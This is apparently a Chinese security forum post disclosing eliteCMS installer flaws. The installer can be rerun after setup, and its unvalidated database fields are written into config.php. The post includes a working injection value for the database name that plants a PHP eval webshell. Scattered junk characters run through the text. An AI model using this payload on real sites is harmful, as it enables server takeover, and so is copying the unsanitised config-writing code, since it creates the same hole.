找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2478|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装% E5 Y3 j9 J2 ^) }) P
5 x) Y$ F" L! D3 N! h5 T$ J
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
6 ?9 M- u! D3 Z  u4 F% N1 C3 t# h我们来看代码:
- S5 i: E1 w- i7 P. a5 t' f; t2 K% X / D2 d! @" n* O& @- e  f
...- n) b! ?2 P/ n" ^: e
elseif ($_GET['step'] == "4") {6 G; O, s: A) q8 o8 A' k# Q8 x' C& I
    $file = "../admin/includes/config.php";
, {+ A4 W' K' l- B    $write = "<?php\n";5 l/ r# r% u9 R5 Y/ s) N/ t- |
    $write .= "/**\n";3 l( n# U) @* E/ N1 a) Q
    $write .= "*\n";
3 ?; r3 _" U" R0 }    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
5 N" U* L8 l. ?- z! w# m! Y...略...
3 @7 Z3 R: P8 F  }9 ?  ?    $write .= "*\n";+ g( d/ G6 k1 X& U  n: m
    $write .= "*/\n";
  a8 @! V3 F! L- B; _. |, o    $write .= "\n";
3 @4 s9 v  M! `* A    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
" i- b9 S" M- _8 u/ c, d) ?" H" ]    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
9 \3 `8 w: w+ n1 b- S+ P  W    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) E* Z7 C$ P! `8 v0 d" [: S+ z+ o# `    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";% ~5 C( u1 i3 U' t1 `
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
  P7 M; Q7 ^( O6 @! R    $write .= "if (!\$connection) {\n";
- x) d- |: `; C  ?5 T    $write .= "        die(\"Database connection failed\" .mysql_error());\n";, w- C: H/ `: B- a) A, S. E
    $write .= "        \n";
" x5 x! c( b$ f0 u    $write .= "} \n";
- m, f7 I# e: g" Y8 ~/ K+ G+ b; P    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";8 X2 m2 [# y9 H6 _/ Y$ v8 G" E" h
    $write .= "if (!\$db_select) {\n";
- a- m0 w6 t8 F    $write .= "        die(\"Database select failed\" .mysql_error());\n";
0 \" ]5 J+ W/ G/ n1 g# S7 o    $write .= "        \n";" I6 L: C; B& B1 g
    $write .= "} \n";/ I2 b8 v) \8 y$ `
    $write .= "?>\n";& P4 X0 c$ u' {2 A

, y( [3 t/ j* X8 e& ^8 T. d! r    $writer = fopen($file, 'w');
, m6 s5 I! y/ G  u...
8 u: f3 l# Y) N3 l# p( x ) y; d* ?2 w" y  ~' Q
在看代码:
" p- G3 I+ I1 l, ^; K: B9 k
/ @0 Q' W# [' j2 c! ?# J$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];- R; _- \8 u! L
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
" \) ?4 {. ^7 j* }$_SESSION['DB_USER'] = $_POST['DB_USER'];
* o2 C7 W! c! L5 |  G: c3 f$_SESSION['DB_PASS'] = $_POST['DB_PASS'];; T- H! U! z0 F3 {' d, J- G

/ s- P* D2 T- @6 ]取值未作任何验证
" }  o  Y8 ?, g' W如果将数据库名POST数据:2 v: j2 B7 z- P+ B" Z1 [3 n4 c
- _7 l! F8 e* b0 q
"?><?php eval($_POST[c]);?><?php) y- L4 L& C* j5 Q& e
3 {# d% r, P7 T8 C6 F
将导致一句话后门写入/admin/includes/config.php
( U4 s. D, G9 \6 f( H9 L6 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表